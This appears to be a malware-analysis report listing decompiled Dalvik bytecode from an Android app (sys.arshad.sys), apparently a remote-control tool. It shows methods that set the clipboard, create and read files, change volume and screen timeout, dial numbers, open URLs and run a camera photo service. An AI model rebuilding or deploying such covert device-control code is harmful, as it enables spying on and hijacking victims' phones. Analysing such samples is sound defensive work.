8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B4:::-1[(0)tcp]
9move-result-object v1
11iget-object v2, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
13iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v1
18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v1
21invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
22return-void
Cross References
APIs
  • java.lang.String.replace
  • sys.arshad.sys.MainActivity.getSystemService
  • android.text.ClipboardManager.setText
Strings
  • |L|n|
  • \n
  • clipboard
Position Instruction Meta Information
0try_start_0:
1const-string v0, "|L|n|"
3const-string v1, "\n"
5invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: |L|n|
    • p1: \n
6move-result-object v1
8iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
10const-string v2, "clipboard"
12invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: clipboard
13move-result-object v0
14check-cast v0, Landroid/text/ClipboardManager;
16invoke-virtual {v0, v1}, Landroid/text/ClipboardManager;->setText(Ljava/lang/CharSequence;)V
17try_end_15:
18const-string v0, ""
19return-object v0
20catch_18: move-exception v0
21goto/16 :goto_15
Cross References
APIs
  • sys.arshad.sys.MainActivity.openFileInput
  • java.io.FileInputStream.available
  • java.io.FileInputStream.read
  • java.lang.String.<init>
  • java.io.FileInputStream.close
Strings
  • IM.txt
Position Instruction Meta Information
0try_start_0:
1const-string v0, "IM.txt"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->openFileInput(Ljava/lang/String;)Ljava/io/FileInputStream;
  • Data flow analysis:
    • p0: IM.txt
4move-result-object v1
6invoke-virtual {v1}, Ljava/io/FileInputStream;->available()I
7move-result v0
8new-array v2, v0, [B
10invoke-virtual {v1, v2}, Ljava/io/FileInputStream;->read([B)I
11new-instance v0, Ljava/lang/String;
13invoke-direct {v0, v2}, Ljava/lang/String;-><init>([B)V
15invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
16goto_17: return-object v0
17catch_18: move-exception v0
18goto_19: const/4 v0, 0x0
19goto/16 :goto_17
20catch_1b: move-exception v0
21goto/16 :goto_19
APIs
  • android.content.Intent.<init>
  • android.content.Intent.addCategory
  • android.content.Intent.setFlags
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • android.intent.action.MAIN
  • android.intent.category.HOME
Position Instruction Meta Information
0try_start_0: new-instance v0, Landroid/content/Intent;
2const-string v1, "android.intent.action.MAIN"
4invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.MAIN
6const-string v1, "android.intent.category.HOME"
8invoke-virtual {v0, v1}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • category: android.intent.category.HOME
9const/high16 v1, 0x10000000
11invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
13iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$26;->a:Lsys/arshad/sys/MainActivity$b;
15iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
17invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
18goto_18: return-void
19catch_19: move-exception v0
20goto/16 :goto_18
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/io/File;
1new-instance v1, Ljava/lang/StringBuilder;
3invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
5iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$18;->a:Ljava/lang/String;
7invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
8move-result-object v1
10iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$18;->b:Ljava/lang/String;
12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v1
15invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v1
18invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
20invoke-virtual {v0}, Ljava/io/File;->exists()Z
21move-result v1
22if-nez v1, :cond_23
24invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
25goto_23: return-void
26catch_24: move-exception v0
27goto/16 :goto_23
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.createNewFile
Position Instruction Meta Information
0new-instance v0, Ljava/io/File;
1new-instance v1, Ljava/lang/StringBuilder;
3invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
5iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$19;->a:Ljava/lang/String;
7invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
8move-result-object v1
10iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$19;->b:Ljava/lang/String;
12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v1
15invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v1
18invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
19try_start_1a:
20invoke-virtual {v0}, Ljava/io/File;->exists()Z
21move-result v1
22if-nez v1, :cond_23
24invoke-virtual {v0}, Ljava/io/File;->createNewFile()Z
25goto_23: return-void
26catch_24: move-exception v0
27goto/16 :goto_23
APIs
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.pm.PackageManager.getLaunchIntentForPackage
  • sys.arshad.sys.MainActivity.startActivity
  • java.io.PrintStream.println
Strings
  • not f
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$24;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
6move-result-object v0
8iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$24;->a:Ljava/lang/String;
10invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
11move-result-object v0
12if-eqz v0, :cond_18
14iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$24;->b:Lsys/arshad/sys/MainActivity$b;
16iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
18invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
19goto_17: return-void
20cond_18:
21sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
23const-string v1, "not f"
25invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: not f
26try_end_1f: goto/16 :goto_17
27catch_20: move-exception v0
28goto/16 :goto_17
Cross References
APIs
  • android.content.IntentFilter.<init>
  • sys.arshad.sys.MainActivity.registerReceiver
  • android.content.Intent.getIntExtra
Strings
  • android.intent.action.BATTERY_CHANGED
  • plugged
Position Instruction Meta Information
0const/4 v0, 0x1
2iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
3const/4 v2, 0x0
4new-instance v3, Landroid/content/IntentFilter;
6const-string v4, "android.intent.action.BATTERY_CHANGED"
8invoke-direct {v3, v4}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.BATTERY_CHANGED
10invoke-virtual {v1, v2, v3}, Lsys/arshad/sys/MainActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 0
11move-result-object v1
13const-string v2, "plugged"
14const/4 v3, -0x1
16invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
  • Data flow analysis:
    • name: plugged
17move-result v1
18if-eq v1, v0, :cond_1b
19const/4 v2, 0x2
20if-ne v1, v2, :cond_1c
21cond_1b: return v0
22cond_1c: const/4 v0, 0x0
23goto/16 :goto_1b
Cross References
APIs
  • android.os.AsyncTask.<init>
  • java.lang.StringBuilder.<init>
  • sys.arshad.sys.MainActivity.getBaseContext
  • android.content.Context.getSystemService
Strings
  • wifi
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3new-instance v0, Ljava/lang/StringBuilder;
5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
6iput-object v0, p0, Lsys/arshad/sys/MainActivity$b;->d:Ljava/lang/StringBuilder;
8const-string v0, ""
9iput-object v0, p0, Lsys/arshad/sys/MainActivity$b;->e:Ljava/lang/String;
11iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
13invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getBaseContext()Landroid/content/Context;
14move-result-object v0
16const-string v1, "wifi"
18invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: wifi
19move-result-object v0
20check-cast v0, Landroid/net/wifi/WifiManager;
21iput-object v0, p0, Lsys/arshad/sys/MainActivity$b;->f:Landroid/net/wifi/WifiManager;
22return-void
APIs
  • android.net.Uri.fromParts
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • android.intent.action.DIAL
  • tel
Position Instruction Meta Information
0try_start_0: new-instance v0, Landroid/content/Intent;
2const-string v1, "android.intent.action.DIAL"
4const-string v2, "tel"
6iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$27;->a:Ljava/lang/String;
7const/4 v4, 0x0
9invoke-static {v2, v3, v4}, Landroid/net/Uri;->fromParts(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/net/Uri;
  • Data flow analysis:
    • p0: tel
    • p2: 0
10move-result-object v2
12invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.DIAL
14iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$27;->b:Lsys/arshad/sys/MainActivity$b;
16iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
18invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
19goto_17: return-void
20catch_18: move-exception v0
21goto/16 :goto_17
Cross References
APIs
  • sys.arshad.sys.MainActivity$c.<init>
  • sys.arshad.sys.MainActivity$c.executeOnExecutor
  • sys.arshad.sys.MainActivity$b.<init>
  • sys.arshad.sys.MainActivity$b.execute
  • sys.arshad.sys.MainActivity$c.execute
Position Instruction Meta Information
0try_start_0: new-instance v0, Lsys/arshad/sys/MainActivity$c;
2iget-object v1, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
3const/4 v2, 0x0
5invoke-direct {v0, v1, v2}, Lsys/arshad/sys/MainActivity$c;-><init>(Lsys/arshad/sys/MainActivity;Lsys/arshad/sys/MainActivity$1;)V
  • Data flow analysis:
    • p1: 0
6sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
7const/16 v2, 0xb
8if-lt v1, v2, :cond_25
10sget-object v1, Landroid/os/AsyncTask;->THREAD_POOL_EXECUTOR:Ljava/util/concurrent/Executor;
11const/4 v2, 0x0
12new-array v2, v2, [Ljava/lang/Void;
14invoke-virtual {v0, v1, v2}, Lsys/arshad/sys/MainActivity$c;->executeOnExecutor(Ljava/util/concurrent/Executor;[Ljava/lang/Object;)Landroid/os/AsyncTask;
15goto_16: new-instance v0, Lsys/arshad/sys/MainActivity$b;
17iget-object v1, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
18const/4 v2, 0x0
20invoke-direct {v0, v1, v2}, Lsys/arshad/sys/MainActivity$b;-><init>(Lsys/arshad/sys/MainActivity;Lsys/arshad/sys/MainActivity$1;)V
  • Data flow analysis:
    • p1: 0
21const/4 v1, 0x0
22new-array v1, v1, [Ljava/lang/Object;
24invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity$b;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
25goto_24: return-void
26cond_25: const/4 v1, 0x0
27new-array v1, v1, [Ljava/lang/Void;
29invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity$c;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
30try_end_2b: goto/16 :goto_16
31catch_2c: move-exception v0
32goto/16 :goto_24
APIs
  • java.lang.Integer.parseInt
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.provider.Settings$System.putInt
Strings
  • screen_off_timeout
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$13;->a:Ljava/lang/String;
3invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
4move-result v0
5iget v1, p0, Lsys/arshad/sys/MainActivity$b$13;->b:I
6packed-switch v1, :pswitch_data_1c
7const/4 v0, -0x1
8pswitch_c:
9iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$13;->c:Lsys/arshad/sys/MainActivity$b;
11iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
13invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
14move-result-object v1
16const-string v2, "screen_off_timeout"
18invoke-static {v1, v2, v0}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z
  • Data flow analysis:
    • p1: screen_off_timeout
19try_end_19: return-void
20catch_1a: move-exception v0
21goto/16 :goto_19
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • java.lang.Integer.parseInt
  • android.media.AudioManager.setStreamVolume
Strings
  • audio
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$4;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5const-string v1, "audio"
7invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
8move-result-object v0
9check-cast v0, Landroid/media/AudioManager;
11iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$4;->a:Ljava/lang/String;
13invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
14move-result v1
15const/4 v2, 0x2
16const/4 v3, 0x0
18invoke-virtual {v0, v2, v1, v3}, Landroid/media/AudioManager;->setStreamVolume(III)V
  • Data flow analysis:
    • streamType: 2
    • flags: 0
19goto_17: return-void
20catch_18: move-exception v0
21goto/16 :goto_17
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • java.lang.Integer.parseInt
  • android.media.AudioManager.setStreamVolume
Strings
  • audio
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$5;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5const-string v1, "audio"
7invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
8move-result-object v0
9check-cast v0, Landroid/media/AudioManager;
11iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$5;->a:Ljava/lang/String;
13invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
14move-result v1
15const/4 v2, 0x3
16const/4 v3, 0x0
18invoke-virtual {v0, v2, v1, v3}, Landroid/media/AudioManager;->setStreamVolume(III)V
  • Data flow analysis:
    • streamType: 3
    • flags: 0
19goto_17: return-void
20catch_18: move-exception v0
21goto/16 :goto_17
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • java.lang.Integer.parseInt
  • android.media.AudioManager.setStreamVolume
Strings
  • audio
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$6;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5const-string v1, "audio"
7invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
8move-result-object v0
9check-cast v0, Landroid/media/AudioManager;
11iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$6;->a:Ljava/lang/String;
13invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
14move-result v1
15const/4 v2, 0x5
16const/4 v3, 0x0
18invoke-virtual {v0, v2, v1, v3}, Landroid/media/AudioManager;->setStreamVolume(III)V
  • Data flow analysis:
    • streamType: 5
    • flags: 0
19goto_17: return-void
20catch_18: move-exception v0
21goto/16 :goto_17
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • java.lang.Integer.parseInt
  • android.media.AudioManager.setStreamVolume
Strings
  • audio
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$7;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5const-string v1, "audio"
7invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
8move-result-object v0
9check-cast v0, Landroid/media/AudioManager;
11iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$7;->a:Ljava/lang/String;
13invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
14move-result v1
15const/4 v2, 0x1
16const/4 v3, 0x0
18invoke-virtual {v0, v2, v1, v3}, Landroid/media/AudioManager;->setStreamVolume(III)V
  • Data flow analysis:
    • streamType: 1
    • flags: 0
19goto_17: return-void
20catch_18: move-exception v0
21goto/16 :goto_17
APIs
  • java.lang.Integer.parseInt
  • sys.arshad.sys.MainActivity.getSystemService
  • android.os.Vibrator.vibrate
Strings
  • vibrator
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$11;->a:Ljava/lang/String;
3invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
4move-result v1
6iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$11;->b:Lsys/arshad/sys/MainActivity$b;
8iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
10const-string v2, "vibrator"
12invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: vibrator
13move-result-object v0
14check-cast v0, Landroid/os/Vibrator;
15int-to-long v2, v1
17invoke-virtual {v0, v2, v3}, Landroid/os/Vibrator;->vibrate(J)V
  • Data flow analysis:
    • p0: vibrator
18try_end_16: return-void
19catch_17: move-exception v0
20goto/16 :goto_16
APIs
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • android.intent.action.VIEW
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$30;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
4new-instance v1, Landroid/content/Intent;
6const-string v2, "android.intent.action.VIEW"
8iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$30;->a:Ljava/lang/String;
10invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
11move-result-object v3
13invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
15invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
16goto_14: return-void
17catch_15: move-exception v0
18goto/16 :goto_14
APIs
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.net.Uri.parse
  • android.media.MediaPlayer.create
  • android.media.MediaPlayer.start
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$3;->b:Lsys/arshad/sys/MainActivity;
3iget-object v1, p0, Lsys/arshad/sys/MainActivity$3;->b:Lsys/arshad/sys/MainActivity;
5invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
6move-result-object v1
8iget-object v2, p0, Lsys/arshad/sys/MainActivity$3;->a:Ljava/lang/String;
10invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
11move-result-object v2
13invoke-static {v1, v2}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;Landroid/net/Uri;)Landroid/media/MediaPlayer;
14move-result-object v1
15iput-object v1, v0, Lsys/arshad/sys/MainActivity;->n:Landroid/media/MediaPlayer;
17iget-object v0, p0, Lsys/arshad/sys/MainActivity$3;->b:Lsys/arshad/sys/MainActivity;
19iget-object v0, v0, Lsys/arshad/sys/MainActivity;->n:Landroid/media/MediaPlayer;
21invoke-virtual {v0}, Landroid/media/MediaPlayer;->start()V
22try_end_1b: return-void
23catch_1c: move-exception v0
24goto/16 :goto_1b
Cross References
APIs
  • sys.arshad.sys.MainActivity.findViewById
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • android.webkit.WebView.loadUrl
Position Instruction Meta Information
0const v0, 0x7f0c0057
1try_start_3:
2invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131492951
3move-result-object v0
4check-cast v0, Landroid/webkit/WebView;
5iput-object v0, p0, Lsys/arshad/sys/MainActivity;->ac:Landroid/webkit/WebView;
7iget-object v0, p0, Lsys/arshad/sys/MainActivity;->ac:Landroid/webkit/WebView;
9invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
10move-result-object v0
11const/4 v1, 0x1
13invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
15iget-object v0, p0, Lsys/arshad/sys/MainActivity;->ac:Landroid/webkit/WebView;
17invoke-virtual {v0, p1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
18try_end_1a: return-void
19catch_1b: move-exception v0
20goto/16 :goto_1a
APIs
  • sys.arshad.sys.PhotoTakingService.a
  • android.hardware.Camera.stopPreview
  • android.content.Intent.<init>
  • sys.arshad.sys.PhotoTakingService.stopService
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
3invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
4move-result-object v0
6invoke-virtual {v0}, Landroid/hardware/Camera;->stopPreview()V
7try_end_9: return-void
8catch_a: move-exception v0
10iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
11new-instance v1, Landroid/content/Intent;
13iget-object v2, p0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
14const-class v3, Lsys/arshad/sys/PhotoTakingService;
16invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
18invoke-virtual {v0, v1}, Lsys/arshad/sys/PhotoTakingService;->stopService(Landroid/content/Intent;)Z
19goto/16 :goto_9
Cross References
APIs
  • java.util.Calendar.getInstance
  • java.util.Calendar.setTimeInMillis
  • java.util.Calendar.getTime
  • java.util.Date.toString
Position Instruction Meta Information
1invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
2move-result-object v0
4invoke-virtual {v0, p1, p2}, Ljava/util/Calendar;->setTimeInMillis(J)V
6invoke-virtual {v0}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
7move-result-object v0
9invoke-virtual {v0}, Ljava/util/Date;->toString()Ljava/lang/String;
10move-result-object v0
11return-object v0
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.media.AudioManager.getMode
Strings
  • audio
Position Instruction Meta Information
1const-string v0, "audio"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
4move-result-object v0
5check-cast v0, Landroid/media/AudioManager;
7invoke-virtual {v0}, Landroid/media/AudioManager;->getMode()I
8move-result v0
9const/4 v1, 0x2
10if-ne v0, v1, :cond_11
11const/4 v0, 0x1
12goto_10: return v0
13cond_11: const/4 v0, 0x0
14goto/16 :goto_10
APIs
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.b
Strings
  • Stop
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$15;->a:Lsys/arshad/sys/MainActivity;
3invoke-static {v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
4move-result-object v0
6const-string v1, "Stop"
7if-ne v0, v1, :cond_b
8goto_a: return-void
9cond_b:
10iget-object v0, p0, Lsys/arshad/sys/MainActivity$15;->a:Lsys/arshad/sys/MainActivity;
12invoke-static {v0}, Lsys/arshad/sys/MainActivity;->b(Lsys/arshad/sys/MainActivity;)V
13goto/16 :goto_a
APIs
  • sys.arshad.sys.MainActivity$c.a
  • java.io.PrintStream.println
Strings
  • run out[2]
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$c$1;->a:Lsys/arshad/sys/MainActivity$c;
2const/4 v1, 0x0
3new-array v1, v1, [Ljava/lang/Void;
5invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity$c;->a([Ljava/lang/Void;)Ljava/lang/Void;
7sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
9const-string v1, "run out[2]"
11invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: run out[2]
12return-void
APIs
  • android.util.Log.i
Strings
  • Msg
  • Notification Removed
Position Instruction Meta Information
1const-string v0, "Msg"
3const-string v1, "Notification Removed"
5invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Msg
    • msg: Notification Removed
6return-void
APIs
  • java.lang.Thread.sleep
  • sys.arshad.sys.MainActivity.a
Position Instruction Meta Information
0const/4 v2, 0x1
1const-wide/16 v0, 0x2710
2try_start_3:
3invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
  • Data flow analysis:
    • p0: 10000
4const/4 v0, 0x1
5sput v0, Lsys/arshad/sys/MainActivity;->q:I
6const-wide/16 v0, 0xa
8invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
  • Data flow analysis:
    • p0: 10
9sget v0, Lsys/arshad/sys/MainActivity;->q:I
10if-ne v0, v2, :cond_1a
12iget-object v0, p0, Lsys/arshad/sys/MainActivity$1;->a:Lsys/arshad/sys/MainActivity;
14invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->a()V
15const/4 v0, 0x0
16sput v0, Lsys/arshad/sys/MainActivity;->q:I
17try_end_1a: return-void
18catch_1b: move-exception v0
19goto/16 :goto_1a
APIs
  • java.io.File.<init>
  • java.io.File.renameTo
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$36;->a:Ljava/lang/String;
2new-instance v1, Ljava/io/File;
4iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$36;->b:Ljava/lang/String;
6invoke-direct {v1, v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
7new-instance v2, Ljava/io/File;
9iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$36;->c:Ljava/lang/String;
